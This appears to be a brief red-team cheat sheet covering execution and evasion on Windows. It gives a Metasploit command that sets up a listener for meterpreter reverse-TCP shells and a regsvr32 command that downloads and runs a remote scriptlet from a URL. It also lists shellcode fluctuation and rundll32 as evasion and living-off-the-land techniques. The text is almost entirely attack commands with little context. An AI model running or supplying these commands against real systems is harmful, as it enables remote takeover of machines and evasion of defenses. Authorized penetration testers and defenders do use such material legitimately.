Execution

Payload Generation

msfconsole -qx "use exploit/multi/handler; set payload                                                                                                                                                                               1 ⨯
windows/x64/meterpreter/reverse_tcp; set lhost eth0; set lport 4445; set EXITFUNC thread;
set ExitOnSession false; exploit -j"

In-Memory Evasion

• Shellcode Fluctuation

LOLBAS

regsvr32.exe /s /n /u /i:https://url/file.sct scrobj.dll 

#rundll32 can run JS, .cpl files

#Shortcuts [rundll32, powershell, regsvr32, executable on disk]